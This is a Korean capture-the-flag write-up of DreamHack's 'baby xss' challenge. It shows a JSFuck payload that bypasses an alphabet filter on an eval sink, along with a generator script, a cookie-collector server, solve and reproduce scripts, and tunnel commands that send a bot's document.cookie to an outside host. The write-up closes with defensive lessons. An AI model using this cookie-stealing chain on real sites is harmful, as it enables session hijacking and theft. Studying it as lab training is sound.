[🥈 Silver 2] 영문자 한 글자 없이 봇의 쿠키를 가져온다 — DreamHack baby xss 풀이

2026-10-22·1분 읽기·

[🥈 Silver 2] 영문자 한 글자 없이 봇의 쿠키를 가져온다 — DreamHack baby xss 풀이

age 파라미터가 템플릿 문자열째 eval 로 들어가는데, 영문자와 기호 여덟 개가 통째로 막혀 있다. JSFuck 의 알파벳 여섯 글자가 차단 집합과 하나도 겹치지 않는다는 점을 이용해 24KB 짜리 식을 만들고, 길이 때문에 URL 로는 못 넣으니 문제가 제공한 저장 기능에 맡겼다.

문제: DreamHack — baby xss 분류: web 난이도: 🥈 Silver 2 FLAG: DH{xss_can_occur_without_alphabet!!}

문제 설명은 한 줄이다. "아직 영어을 구사하지 못하는 baby들을 위해 alphabet 입력 필요없는 페이지를 만들었어요!" 영문자를 안 받겠다는 게 아니라 못 쓰게 하겠다는 뜻이고, 그게 이 문제의 전부다.

라이브 서버 루트 화면. 주소창에 host3.dreamhack.games:15232 가 보이고 Main page 아래 Baby's music, Saved, Go to Report 세 링크만 놓여 있는 단출한 인덱스다.
라이브 서버 루트 화면. 주소창에 host3.dreamhack.games:15232 가 보이고 Main page 아래 Baby's music, Saved, Go to Report 세 링크만 놓여 있는 단출한 인덱스다.

문제 개요

항목내용
문제명baby xss
난이도🥈 Silver 2
분류web
스택Node 18 · Express 4.18 · cookie-parser · puppeteer 21.5 + google-chrome-stable
제공 파일index.js · package.json · Dockerfile · views/ 4개
서버http://host3.dreamhack.games:15232/ (드림핵 VM)
핵심 취약점사용자 입력이 템플릿 문자열째 eval 안으로 들어간다
관문영문자 전체 + \ & # ; % * $ = 차단, payload 길이 24KB

플래그는 서버 파일이 아니라 봇의 쿠키에 들어 있다. 신고 기능이 헤드리스 크롬을 띄워 쿠키를 심고 내가 준 주소를 열어 주므로, 그 브라우저 안에서 자바스크립트를 실행시켜 document.cookie 를 밖으로 빼내면 끝난다. 문제는 그 자바스크립트를 영문자 없이 써야 한다는 것이다.


🔬 코드 정찰 — 라우트 여섯 개가 전부다

index.js 는 63줄이고 군더더기가 없다. 먼저 쿠키와 신고 라우트부터 본다.

const FLAG = process.env.FLAG ?? "DH{dummy}";
const cookies = [
  { name: 'flag', value: FLAG, domain: '127.0.0.1' },
];
const saved = new Map();
 
app.post("/report", (req, res) => {
  (async () => {
    const browser = await puppeteer.launch({
      executablePath: '/usr/bin/google-chrome',
      args: ["--no-sandbox"]
    });
    const page = await browser.newPage();
    await page.setCookie(...cookies);
 
    await page.goto(req.body.url);
    await delay(500);
 
    await browser.close();
  })();
  res.end('Reported!');
})

httpOnly 가 없으니 document.cookie 로 읽힌다. 도메인이 127.0.0.1 이라 봇이 자기 자신에게 접속할 때만 붙고, 그래서 신고 폼은 주소의 앞부분을 고정해 둔다.

URL : http://127.0.0.1:3000/<input id="reportURL" type="text">
body: JSON.stringify({
  url: `http://127.0.0.1:3000/${reportBox.value}`,
}),

즉 내가 고를 수 있는 건 경로 뒷부분뿐이다. 외부 주소를 바로 먹일 수는 없고, 일단 문제 서버 안에서 코드를 실행시킨 다음 거기서 밖으로 나가야 한다.

라이브 서버의 음악 페이지. 주소창은 host3.dreamhack.games:15232/music 이고 Baby's age 입력칸과 확인 버튼, 그 아래 save 버튼만 있는 상태다.
라이브 서버의 음악 페이지. 주소창은 host3.dreamhack.games:15232/music 이고 Baby's age 입력칸과 확인 버튼, 그 아래 save 버튼만 있는 상태다.

/music 의 스크립트가 이 문제의 심장이다. views/music.html 에서 그대로 옮긴다.

const recommend = (age) => {
  if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
    alert('nope! ⊂(・﹏・⊂)');
    window.history.back()
  }
 
  eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
 
  const img = document.createElement('img')
  img.src = 'https://upload.wikimedia.org/wikipedia/en/0/03/Post_Malone_-_Twelve_Carat_Toothache.png';
 
  album.append(img);
}

innerHTML 에 넣는 것까지는 흔한 모양인데, 그 대입문 전체를 문자열로 만들어 eval 에 넘긴다. 그래서 공격 지점은 HTML 이 아니라 자바스크립트 문자열이다. age 가 작은따옴표 안에 들어가므로 따옴표만 닫으면 그 뒤는 코드다.

같은 recommend 가 views/saved.html 에도 복사되어 있다. 이쪽은 age 를 URL 이 아니라 POST /saved 응답에서 가져온다. 나중에 이 차이가 결정적으로 쓰인다.

curl -s "http://host3.dreamhack.games:15232/music?age=3"
정상 입력 화면. 주소창 끝이 music?age=3 이고 본문에 This is recommended album for 3-year-old. 문장과 앨범 이미지가 떠 있다.
정상 입력 화면. 주소창 끝이 music?age=3 이고 본문에 This is recommended album for 3-year-old. 문장과 앨범 이미지가 떠 있다.

🧩 문자열을 닫으면 그 뒤는 코드다

eval 이 받는 소스를 그대로 펼쳐 보면 이렇다.

msg.innerHTML='This is recommended album for ' + age + '-year-old.'

age 자리에 '+(1+1)+' 를 넣으면 소스는 … for '+(1+1)+'-year-old.' 가 되고, (1+1) 은 문자열이 아니라 식으로 계산된다. 영문자도, 등호도, 세미콜론도 쓰지 않았다. 주소창에 직접 넣어 확인한다.

# ' 와 + 는 URL 인코딩해서 넣는다 (%27, %2B)
curl -s "http://host3.dreamhack.games:15232/music?age=%27%2B(1%2B1)%2B%27"
문자열 탈출 확인 화면. 주소창에 age=%27%2B(1%2B1)%2B%27 가 들어가 있고 본문 문장이 This is recommended album for 2-year-old. 로 바뀌어 식이 계산됐음을 보여준다.
문자열 탈출 확인 화면. 주소창에 age=%27%2B(1%2B1)%2B%27 가 들어가 있고 본문 문장이 This is recommended album for 2-year-old. 로 바뀌어 식이 계산됐음을 보여준다.

3 자리가 2 로 바뀌었다. 더할 것 없이 명백한 코드 실행이고, 이제 남은 일은 (1+1) 자리에 쿠키를 보내는 코드를 넣는 것뿐이다. 그 자리를 막고 선 게 필터다.


🚧 필터 — 영문자 전체와 기호 여덟 개

if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
  alert('nope! ⊂(・﹏・⊂)');
  window.history.back()
}

문자 클래스를 하나씩 풀면 a-z, A-Z, \, &, #, ;, %, *, $, = 이다. 영문자가 통째로 없으니 location 도 document 도 이름을 적을 수 없고, = 이 없으니 대입도 못 하며, ; 이 없으니 문장을 끊을 수도 없다. 흔한 우회인 HTML 인젝션도 <img onerror> 에 영문자가 필요해서 그대로 막힌다.

curl -s "http://host3.dreamhack.games:15232/music?age=%3Cscript%3Ealert(1)%3C%2Fscript%3E"
필터에 걸린 화면. 주소창에 script alert 1 이 인코딩돼 있고 host3.dreamhack.games:15232 내용 이라는 제목의 경고창이 nope! 라는 문구와 함께 떠 있다.
필터에 걸린 화면. 주소창에 script alert 1 이 인코딩돼 있고 host3.dreamhack.games:15232 내용 이라는 제목의 경고창이 nope! 라는 문구와 함께 떠 있다.

필터를 노려보는 것보다 브라우저에 직접 물어보는 편이 빠르다. 라이브 페이지에서 개발자도구 콘솔을 열고 페이지가 들고 있는 recommend 를 그대로 출력한 뒤, 두 입력을 같은 정규식에 넣어 봤다.

recommend
/[a-zA-Z\\&#;%*$=]/.test('<script>alert(1)</script>')
/[a-zA-Z\\&#;%*$=]/.test("'+(1+1)+'")
크롬 개발자도구 콘솔 화면. 라이브 페이지의 recommend 함수 원문에 필터 정규식과 eval 이 보이고, 두 test 호출 결과가 각각 true 와 false 로 찍혀 있다.
크롬 개발자도구 콘솔 화면. 라이브 페이지의 recommend 함수 원문에 필터 정규식과 eval 이 보이고, 두 test 호출 결과가 각각 true 와 false 로 찍혀 있다.

콘솔에 찍힌 함수 원문이 배포본과 같다는 것, 그리고 '+(1+1)+' 는 정규식을 건드리지도 않는다는 것이 동시에 보인다. 이 false 를 24KB 로 키우는 게 남은 일이다.


💣 돌파구 — JSFuck 의 알파벳은 차단 집합과 겹치지 않는다

JSFuck 은 자바스크립트를 [ ] ( ) ! + 여섯 글자로만 다시 쓰는 변환이다. 원리는 단순하다. ![] 는 false, !![] 는 true, []+[] 는 빈 문자열이고, 이들을 문자열로 만들어 인덱스를 집으면 글자가 나온다. (![]+[])[+[]] 는 "false"[0] 이니 f 다. 이렇게 모은 글자로 "constructor" 를 만들고, 함수의 constructor 로 Function 을 얻어 임의의 소스를 실행한다.

여기서 중요한 건 미학이 아니라 집합이다.

문자
필터가 막는 것a-z A-Z \ & # ; % * $ =
JSFuck 이 쓰는 것[ ] ( ) ! +
교집합없음

우회를 궁리할 게 아니라 애초에 걸리지 않는다. 그래서 코드는 평범하게 쓰고 변환만 씌우면 된다. 봇 안에서 돌릴 코드는 이것 하나다.

location.replace('//945e19869f7d2d.lhr.life/' + document.cookie)

location.href = … 대신 location.replace(…) 를 쓴 이유는 글자 수다. 변환 결과는 식 하나여야 하는데 대입문보다 메서드 호출이 짧고, 봇이 500ms 뒤 닫히므로 히스토리를 남기지 않는 쪽이 깔끔하다. 변환은 jsfuck 패키지에 맡겼다.

#!/usr/bin/env node
// baby xss (DreamHack #993) — age 파라미터용 payload 생성기
//
// 취약점: /music, /saved 의 recommend() 가
//   eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`)
// 로 age 를 템플릿 문자열째 eval 에 넣는다. 필터는 /[a-zA-Z\\&#;%*$=]/ —
// 영문자 전체와 \ & # ; % * $ = 가 금지. JSFuck 의 알파벳은 []()!+ 뿐이라
// 교집합이 0 이다. 그래서 '+<JSFuck>+' 로 문자열만 탈출하면 임의 JS 가 돈다.
const { JSFuck } = require('./tools/node_modules/jsfuck');
 
const host = process.argv[2];
if (!host) {
  console.error('usage: node gen_payload.js <수집서버 host[:port]>');
  process.exit(1);
}
// 쿠키(flag)를 수집 서버 경로에 실어 보낸다. location.replace 를 쓰는 이유:
// = 가 필터에 걸리는 것과는 무관(JSFuck 안에서는 문자가 사라진다)하지만,
// 쿠키를 그대로 URL 에 붙이는 가장 짧고 확실한 전송 수단이다.
const code = `location.replace('//${host}/'+document.cookie)`;
const expr = JSFuck.encode(code, true);       // true = Function(code)() 로 실행까지
const payload = `'+${expr}+'`;                 // eval 안의 '...' 문자열을 탈출
 
const alphabet = [...new Set(payload)].sort().join('');
console.error(`[gen] code     : ${code}`);
console.error(`[gen] payload  : ${payload.length} bytes`);
console.error(`[gen] alphabet : ${alphabet}`);
console.error(`[gen] 필터통과  : ${/[a-zA-Z\\&#;%*$=]/.test(payload) ? 'NO' : 'YES'}`);
process.stdout.write(payload);

JSFuck.encode(code, true) 의 두 번째 인자가 핵심이다. 기본값은 "그 문자열과 같은 값을 만드는 식"을 돌려주는데, 그건 실행이 아니라 문자열일 뿐이다. true 를 주면 Function(code)() 형태로 감싸 실행까지 하는 식이 나온다. 앞뒤로 '+ 와 +' 만 붙이면 eval 안의 문자열이 열렸다 닫히고 그 사이에서 식이 돈다.

node gen_payload.js 945e19869f7d2d.lhr.life > payload.txt && cut -c1-200 payload.txt && wc -c payload.txt
payload 생성 터미널 화면. code, payload 23809 bytes, alphabet 이 느낌표와 따옴표 괄호 대괄호 더하기뿐이라는 줄, 필터통과 YES 가 차례로 찍히고 맨 아래에 payload 앞 200자가 보인다.
payload 생성 터미널 화면. code, payload 23809 bytes, alphabet 이 느낌표와 따옴표 괄호 대괄호 더하기뿐이라는 줄, 필터통과 YES 가 차례로 찍히고 맨 아래에 payload 앞 200자가 보인다.

알파벳 줄에 !'()+[] 만 찍혔다. 작은따옴표 두 개는 내가 붙인 탈출용이고 나머지는 JSFuck 이 쓴 여섯 글자다. 필터 통과 여부도 생성기가 스스로 검사해서 YES 로 찍는다.


🚚 24KB 를 어디로 넣나 — /save 가 그래서 있다

문제는 길이다. 23,809 바이트를 ?age= 로 밀어 넣으면 요청 라인이 그대로 그만큼 길어지는데, Node 의 기본 maxHeaderSize 는 16KB 다. 실제로 던져 보면 본문도 못 보고 잘린다.

curl -s -o /dev/null -w "http_code=%{http_code}\n" --get --data-urlencode "age@payload.txt" "http://127.0.0.1:13993/music"
curl -s -o /dev/null -w "http_code=%{http_code}\n" "http://127.0.0.1:13993/music?age=3"

첫 줄은 431(Request Header Fields Too Large), 둘째 줄은 200 이다. 그런데 문제는 길이 제한이 없는 통로를 직접 제공한다.

app.post("/save", (req, res) => {
  const id = crypto.randomBytes(20).toString('hex');
  saved.set(id, req.body.age);
  res.send(`saved! Remember your id: ${id}`);
})
 
app.post("/saved", (req, res) => {
  const age = saved.get(req.body.id);
  res.send(age ? age : 'false');
})

POST 본문이라 길이가 자유롭고, 돌려받는 건 40자 hex 아이디 하나다. 그리고 views/saved.html 이 그 아이디로 payload 를 가져와서 같은 recommend 에 넣는다. 봇에게는 긴 payload 대신 짧은 주소 하나만 주면 된다.

공격 체인 도식. 공격자가 POST /save 로 24KB payload 를 맡기고 받은 id 를 POST /report 로 신고하면, 봇이 /saved?id= 를 열어 payload 를 받아 eval 하고 Kali 수집 서버로 쿠키를 보내는 흐름을 네 단계로 보여준다.
공격 체인 도식. 공격자가 POST /save 로 24KB payload 를 맡기고 받은 id 를 POST /report 로 신고하면, 봇이 /saved?id= 를 열어 payload 를 받아 eval 하고 Kali 수집 서버로 쿠키를 보내는 흐름을 네 단계로 보여준다.

신고 폼이 http://127.0.0.1:3000/ 를 강제하는 것도 여기서 아귀가 맞는다. 어차피 저장소도 recommend 도 같은 서버 안에 있으니 경로만 주면 충분하다.


🧪 받는 쪽 — 공격자 서버는 Kali VM 에 세운다

쿠키를 받으려면 문제 서버가 바깥으로 요청을 보낼 수 있는 주소가 필요하다. 운영 중인 사이트를 수집함으로 쓰면 훔친 쿠키가 그대로 운영 로그에 박히므로, 집 NAS 에 올려 둔 Kali VM 에 임시로 세우고 터널만 뚫었다.

#!/usr/bin/env python3
"""baby xss — 피싱 아니고 쿠키 수집기. XSS 가 돌면 봇 브라우저가
location.replace('//<이 서버>/'+document.cookie) 로 여기 찍고 간다.
요청 경로를 그대로 로그에 쓰고, DH{...} 가 보이면 FLAG 로 표시한다."""
import re
import sys
import urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer
 
LOG = sys.argv[2] if len(sys.argv) > 2 else "collector.log"
FLAG_RE = re.compile(r"DH\{[^}]*\}")
 
 
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        raw = urllib.parse.unquote(self.path)
        line = f"HIT {self.client_address[0]} {raw}"
        print(line, flush=True)
        with open(LOG, "a") as fp:
            fp.write(line + "\n")
        m = FLAG_RE.search(raw)
        if m:
            print(f"FLAG {m.group(0)}", flush=True)
            with open(LOG, "a") as fp:
                fp.write(f"FLAG {m.group(0)}\n")
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok\n")
 
    def log_message(self, *a):
        pass
 
 
if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8899
    print(f"[collector] 0.0.0.0:{port} -> {LOG}", flush=True)
    HTTPServer(("0.0.0.0", port), Handler).serve_forever()
scp collector.py kali:~/atk_babyxss/collector.py
ssh kali 'cd ~/atk_babyxss && setsid nohup python3 collector.py 8899 ~/atk_babyxss/collector.log > server.out 2>&1 < /dev/null & disown'
ssh kali 'cd ~/atk_babyxss && setsid nohup ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=30 -R 80:localhost:8899 nokey@localhost.run > lhr.log 2>&1 < /dev/null & disown'
ssh kali 'grep -aoE "https://[a-z0-9-]+\.lhr\.life" ~/atk_babyxss/lhr.log'

터널 주소는 매번 달라지므로 solve 스크립트에 박지 않고 인자로 받게 했다. 글에 남은 945e19869f7d2d.lhr.life 도 그날 한 번 쓰고 사라진 주소다.


🚀 로컬에서 먼저 — 배포본 그대로 돌린다

라이브 서버를 켜기 전에 배포본 컨테이너로 똑같은 체인을 돌려 봤다. 수집 서버는 호스트에 올리고, 컨테이너에서 나오는 주소인 docker0 브리지 IP 를 payload 에 넣는다.

▶📄 reproduce.sh — 빌드부터 플래그 대조까지
#!/usr/bin/env bash
# baby xss (DreamHack #993) — 한 방 재현.
#
# 로컬 재현      : 배포본으로 컨테이너를 띄우고, 호스트에 수집 서버를 올린 뒤
#                  payload 를 심어 봇이 쿠키를 토해내게 한다.
#   ./reproduce.sh
#
# 라이브 검증    : 드림핵 VM 주소 + 외부에서 닿는 수집 서버 주소를 준다.
#   WG_ATTACKER=<host[:port]> ./reproduce.sh --live http://host3.dreamhack.games:PORT
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
IMAGE=babyxss-local
NAME=babyxss-993-repro
PORT=${PORT:-13993}
COLLECTOR_PORT=${COLLECTOR_PORT:-8899}
LOCAL_FLAG='DH{local_repro_flag_993}'
 
if [ "${1:-}" = "--live" ]; then
  BASE=${2:?--live 뒤에 http://host:port 를 적어라}
  ATTACKER=${WG_ATTACKER:?WG_ATTACKER 에 외부에서 닿는 수집 서버 host[:port] 를 넣어라}
  echo "[*] 라이브: $BASE  (수집 서버 $ATTACKER)"
  python3 solve.py "$BASE" "$ATTACKER"
  echo "[*] 수집 서버 로그에서 DH{...} 를 확인한다"
  exit 0
fi
 
echo "[*] 배포본으로 컨테이너를 빌드한다 (extracted/Dockerfile — repro/Dockerfile.local — 크롬 설치에 몇 분)"
docker build -q -f repro/Dockerfile.local -t "$IMAGE" ./extracted >/dev/null
 
docker rm -f "$NAME" >/dev/null 2>&1 || true
echo "[*] 컨테이너 기동 (호스트 $PORT -> 3000), FLAG=$LOCAL_FLAG"
docker run -d --rm --name "$NAME" -p "$PORT:3000" -e "FLAG=$LOCAL_FLAG" "$IMAGE" >/dev/null
for _ in $(seq 1 40); do
  curl -s -o /dev/null "http://127.0.0.1:$PORT/" && break || sleep 1
done
 
rm -f collector.log
python3 collector.py "$COLLECTOR_PORT" "$PWD/collector.log" > /dev/null 2>&1 &
COLLECTOR_PID=$!
sleep 1
 
# 컨테이너에서 호스트로 나오는 주소는 docker0 브리지 IP 다.
HOST_IP=$(ip -4 -o addr show docker0 | awk '{print $4}' | cut -d/ -f1)
python3 solve.py "http://127.0.0.1:$PORT" "$HOST_IP:$COLLECTOR_PORT"
 
sleep 2
kill "$COLLECTOR_PID" 2>/dev/null || true
docker rm -f "$NAME" >/dev/null 2>&1 || true
 
echo "[*] 수집 서버 로그"
cat collector.log
if grep -qF "$LOCAL_FLAG" collector.log; then
  echo "REPRO_OK  봇 쿠키의 flag 가 수집 서버에 도착했다"
else
  echo "REPRO_FAIL"; exit 1
fi
./reproduce.sh
로컬 재현 터미널 화면. 컨테이너 기동부터 payload 24167 바이트 생성, /save 아이디 수령, /report 신고를 거쳐 수집 서버 로그에 로컬 플래그가 찍히고 마지막 줄에 REPRO_OK 가 출력됐다.
로컬 재현 터미널 화면. 컨테이너 기동부터 payload 24167 바이트 생성, /save 아이디 수령, /report 신고를 거쳐 수집 서버 로그에 로컬 플래그가 찍히고 마지막 줄에 REPRO_OK 가 출력됐다.

봇 쿠키에 심어 둔 DH{local_repro_flag_993} 가 수집 서버 경로에 그대로 들어왔다. 여기까지 맞으면 라이브에서 달라질 건 주소뿐이다.


👀 저장한 payload 를 내 브라우저로 열어 보면

/saved?id=… 는 봇 전용이 아니다. 같은 주소를 내가 직접 열어도 똑같이 eval 이 돌고, 그래서 브라우저가 수집 서버로 튕겨 나간다. 내 브라우저에는 127.0.0.1 쿠키가 없으니 플래그는 붙지 않고, 경로만 비어서 도착한다.

# solve.py 가 찍어 준 id 를 그대로 주소창에 넣는다
http://host3.dreamhack.games:15232/saved?id=f311c2b957dd97cb6adecd1ea26bc1ca5a7d3299
저장한 payload 를 직접 열었을 때 화면. 주소창이 945e19869f7d2d.lhr.life 로 바뀌어 있고 본문에는 수집 서버가 돌려준 ok 한 글자만 찍혀 있어 페이지가 외부로 이동했음을 보여준다.
저장한 payload 를 직접 열었을 때 화면. 주소창이 945e19869f7d2d.lhr.life 로 바뀌어 있고 본문에는 수집 서버가 돌려준 ok 한 글자만 찍혀 있어 페이지가 외부로 이동했음을 보여준다.

주소창이 문제 서버에서 터널 주소로 넘어갔다. 봇에게도 같은 일이 일어나는데, 그쪽은 쿠키가 붙는다는 차이만 있다.


🐛 삽질

▶🐛 삽질 1 — 필터는 return 이 없는데 왜 막히나

필터를 다시 보면 조건이 참일 때 alert 과 history.back() 만 부르고 return 이 없다. 그러면 영문자가 섞인 payload 도 경고창만 뜨고 eval 까지 가야 한다. 실제로 그런지 둘을 똑같은 방식으로 저장하고 똑같이 신고해서 비교했다.

#!/usr/bin/env python3
"""필터가 실제로 봇을 막는가 — A/B 비교.
 
recommend() 의 필터는 걸려도 return 하지 않는다. 그러니 영문자가 섞인 payload 도
alert 뒤에 eval 까지 가야 맞는데, 봇(puppeteer)에서는 그렇지 않다. 둘을 똑같이
저장해 똑같이 신고하고, 수집 서버에 요청이 들어오는지로 가른다.
 
  python3 filter_ab_test.py <챌린지 base> <수집서버 host:port> <수집 로그 경로>
"""
import json
import pathlib
import re
import subprocess
import sys
import time
import urllib.request
 
BASE, COLLECTOR, LOG = sys.argv[1].rstrip("/"), sys.argv[2], pathlib.Path(sys.argv[3])
FILTER = re.compile(r"[a-zA-Z\\&#;%*$=]")
HERE = pathlib.Path(__file__).resolve().parent
 
 
def post(path, obj):
    req = urllib.request.Request(
        BASE + path, data=json.dumps(obj).encode(),
        headers={"Content-Type": "application/json"}, method="POST")
    return urllib.request.urlopen(req, timeout=30).read().decode()
 
 
def hits():
    return LOG.read_text().splitlines() if LOG.exists() else []
 
 
def run(label, payload):
    before = len(hits())
    sid = post("/save", {"age": payload}).strip().split()[-1]
    post("/report", {"url": f"http://127.0.0.1:3000/saved?id={sid}"})
    time.sleep(5)
    got = hits()[before:]
    verdict = "걸림(alert)" if FILTER.search(payload) else "통과"
    print(f"[{label}] {len(payload):>6}바이트  필터 {verdict}  수집서버 도착 {len(got)}건")
    for line in got:
        print(f"         {line}")
 
 
run("A 영문자 포함", "'+location.replace('//%s/alphabet-payload-ran')+'" % COLLECTOR)
run("B JSFuck    ", subprocess.run(["node", str(HERE / "gen_payload.js"), COLLECTOR],
                                   capture_output=True, text=True, check=True).stdout)
python3 filter_ab_test.py http://127.0.0.1:13993 172.17.0.1:8899 ./collector.log
A/B 비교 터미널 화면. 영문자 포함 payload 는 62바이트에 필터 걸림이고 수집 서버 도착 0건, JSFuck payload 는 24167바이트에 필터 통과이며 로컬 플래그를 포함한 3건이 도착했다.
A/B 비교 터미널 화면. 영문자 포함 payload 는 62바이트에 필터 걸림이고 수집 서버 도착 0건, JSFuck payload 는 24167바이트에 필터 통과이며 로컬 플래그를 포함한 3건이 도착했다.

영문자 쪽은 요청이 한 건도 안 왔다. eval 이 실행되지 않아서가 아니라 경고창이 먼저 떠서 그렇다. 헤드리스 크롬은 다이얼로그를 띄운 채 스크립트를 세워 두는데, /report 는 500ms 뒤 브라우저를 닫아 버리므로 그 사이 아무 일도 못 한다. return 이 없는 건 사실이지만 결과적으로는 막힌다. 문제 의도대로 JSFuck 이 유일한 길이다.

▶🐛 삽질 2 — 빌드가 npm i 에서 25분을 멈춰 섰다

배포본 Dockerfile 에는 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 가 있다. 그런데 puppeteer 21 은 이 옛 이름을 더는 안 본다. 새 이름은 PUPPETEER_SKIP_DOWNLOAD 라 npm i 가 Chrome for Testing 140MB 를 다시 받으면서 25분을 잡아먹었다. 앱은 executablePath: '/usr/bin/google-chrome' 로 apt 가 깐 크롬을 직접 쓰므로 그 사본은 한 번도 쓰이지 않는다. 재현용 Dockerfile 에만 한 줄을 덧대 34초로 줄였다.

ENV PUPPETEER_SKIP_DOWNLOAD=true
▶🐛 삽질 3 — 터널 주소가 중간에 바뀌어 502

localhost.run 터널을 먼저 열어 두고 로컬 검증을 하는 사이, 같은 ssh 세션이 주소를 새로 발급받았다. 처음 받은 주소로 찔러 보니 502 가 떨어져서 수집 서버가 죽은 줄 알았는데, Kali 안에서는 멀쩡히 응답하고 있었다. 로그를 다시 긁으니 주소가 두 개였다.

ssh kali 'grep -aoE "https://[a-z0-9-]+\.lhr\.life" ~/atk_babyxss/lhr.log | sort -u'

payload 에 주소가 박히는 구조라, 생성 직전에 터널을 한 번 찔러 살아 있는 주소인지 확인하는 절차를 넣었다. 덤으로 터널을 정리하려고 pkill -f "R 80:localhost:8899" 를 쳤더니 그 패턴이 내가 지금 실행 중인 ssh 명령줄과도 일치해서 세션이 같이 끊겼다. 정리는 PID 로 한다.


🎯 라이브 — 세 번 요청하면 끝난다

로컬에서 체인이 다 돌았으니 라이브는 주소만 바꿔 한 번 실행하면 된다.

#!/usr/bin/env python3
"""baby xss (DreamHack #993, Silver 2 web) — 전체 공격 체인.
 
  1) node gen_payload.js <수집서버> 로 JSFuck payload 를 만든다
     (영문자·= 없이 location.replace('//host/'+document.cookie) 를 실행)
  2) POST /save  {"age": payload}         -> 랜덤 40자 hex id
     ★ payload 가 24KB 라 ?age= 로는 node maxHeaderSize(16KB) 를 넘긴다.
       /save + /saved?id= 통로를 써야 들어간다.
  3) POST /report {"url": "http://127.0.0.1:3000/saved?id=<id>"}
     -> puppeteer 가 flag 쿠키를 심고 그 URL 을 방문 -> eval -> 수집서버로 전송
"""
import json
import subprocess
import sys
import time
import urllib.request
 
HERE = "/home/jinho/Dev/Hacking_Project/워게임/2_Silver_2/baby-xss"
 
 
def post(base, path, obj):
    req = urllib.request.Request(
        base.rstrip("/") + path,
        data=json.dumps(obj).encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=30) as r:
        return r.read().decode()
 
 
def main():
    if len(sys.argv) < 3:
        print("usage: solve.py <챌린지 base URL> <수집서버 host[:port]>")
        return 1
    base, collector = sys.argv[1], sys.argv[2]
 
    payload = subprocess.run(
        ["node", f"{HERE}/gen_payload.js", collector],
        capture_output=True, text=True, check=True,
    ).stdout
    print(f"[1] payload {len(payload)} bytes (알파벳 !'()+[] 만)")
 
    body = post(base, "/save", {"age": payload})
    print(f"[2] /save -> {body}")
    sid = body.strip().split()[-1]
 
    url = f"http://127.0.0.1:3000/saved?id={sid}"
    print(f"[3] /report url={url}")
    print(f"    -> {post(base, '/report', {'url': url})}")
    time.sleep(3)
    print("[4] 수집서버 로그를 확인한다 (collector.log)")
    return 0
 
 
if __name__ == "__main__":
    sys.exit(main())
python3 solve.py http://host3.dreamhack.games:15232 945e19869f7d2d.lhr.life
라이브 공격 터미널 화면. payload 23809 바이트 생성, /save 가 돌려준 40자 hex 아이디, 그 아이디로 만든 127.0.0.1 주소를 신고해 Reported! 응답을 받은 네 단계가 차례로 찍혀 있다.
라이브 공격 터미널 화면. payload 23809 바이트 생성, /save 가 돌려준 40자 hex 아이디, 그 아이디로 만든 127.0.0.1 주소를 신고해 Reported! 응답을 받은 네 단계가 차례로 찍혀 있다.

받는 쪽은 Kali 에 띄워 둔 수집 서버다. 같은 로그 파일을 그대로 꺼내 본다.

ssh kali "tail -n 6 ~/atk_babyxss/collector.log"
Kali 수집 서버 로그 화면. HIT 줄에 flag 쿠키가 통째로 실린 요청 경로가 보이고 그 아래 FLAG 줄에 최종 플래그가 추출돼 찍혀 있다.
Kali 수집 서버 로그 화면. HIT 줄에 flag 쿠키가 통째로 실린 요청 경로가 보이고 그 아래 FLAG 줄에 최종 플래그가 추출돼 찍혀 있다.
DH{xss_can_occur_without_alphabet!!}

플래그 문구가 문제 의도를 그대로 적어 놨다. 영문자 없이도 XSS 는 난다.


📝 결론

필터를 문자 단위로 짜면 인코딩에 진다. 영문자와 기호 여덟 개를 막은 건 꽤 공격적인 금지 목록인데, JSFuck 은 그 목록에 없는 여섯 글자만으로 임의 코드를 만든다. 금지 목록 방식은 "무엇을 막을지"를 전부 알아야 성립하고, 자바스크립트처럼 표현이 풍부한 언어에서 그건 가능하지 않다. 허용 목록으로 뒤집어 /^[0-9]+$/ 만 받았으면 이 문제는 성립하지 않는다.

애초에 eval 로 DOM 을 건드릴 이유가 없다. msg.innerHTML = '... ' + age + ' ...' 라고 쓰면 끝날 일을 굳이 문자열로 만들어 eval 에 넘겼다. 이 한 줄 때문에 HTML 인젝션이어야 할 것이 자바스크립트 코드 실행으로 승격됐다. 더 나아가 값만 넣을 자리라면 textContent 를 쓰면 HTML 파싱 자체가 일어나지 않는다.

검증은 막는 쪽이어야 한다. 이 문제의 필터는 경고만 띄우고 return 하지 않는다. 결과적으로는 경고창이 봇을 세워 막혔지만, 그건 헤드리스 브라우저의 동작에 기댄 우연이지 설계가 아니다. 사람이 쓰는 브라우저에서는 경고창을 닫는 순간 그대로 실행된다. 검사에 걸렸으면 거기서 함수를 끝내야 한다.

세션 쿠키에 HttpOnly 를 붙인다. 플래그 쿠키에 httpOnly 가 있었다면 eval 까지 뚫고 들어가도 document.cookie 에는 아무것도 없다. XSS 를 못 막는 상황에서도 피해 범위를 줄이는 가장 값싼 한 줄이다.

길이 제한을 보안 경계로 착각하지 않는다. payload 가 24KB 라 URL 로는 안 들어갔지만, 같은 서버가 길이 제한 없는 POST 저장소를 제공하고 그 값을 다시 같은 싱크로 흘려 보냈다. 입력 경로를 하나 막아도 같은 데이터가 다른 문으로 들어와 같은 곳에서 터진다면, 막아야 할 것은 문이 아니라 싱크다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 2] 봇의 쿠키를 /memo로 흘려 회수하기 — DreamHack xss-1 풀이
blog

[🥉 Bronze 2] 봇의 쿠키를 /memo로 흘려 회수하기 — DreamHack xss-1 풀이

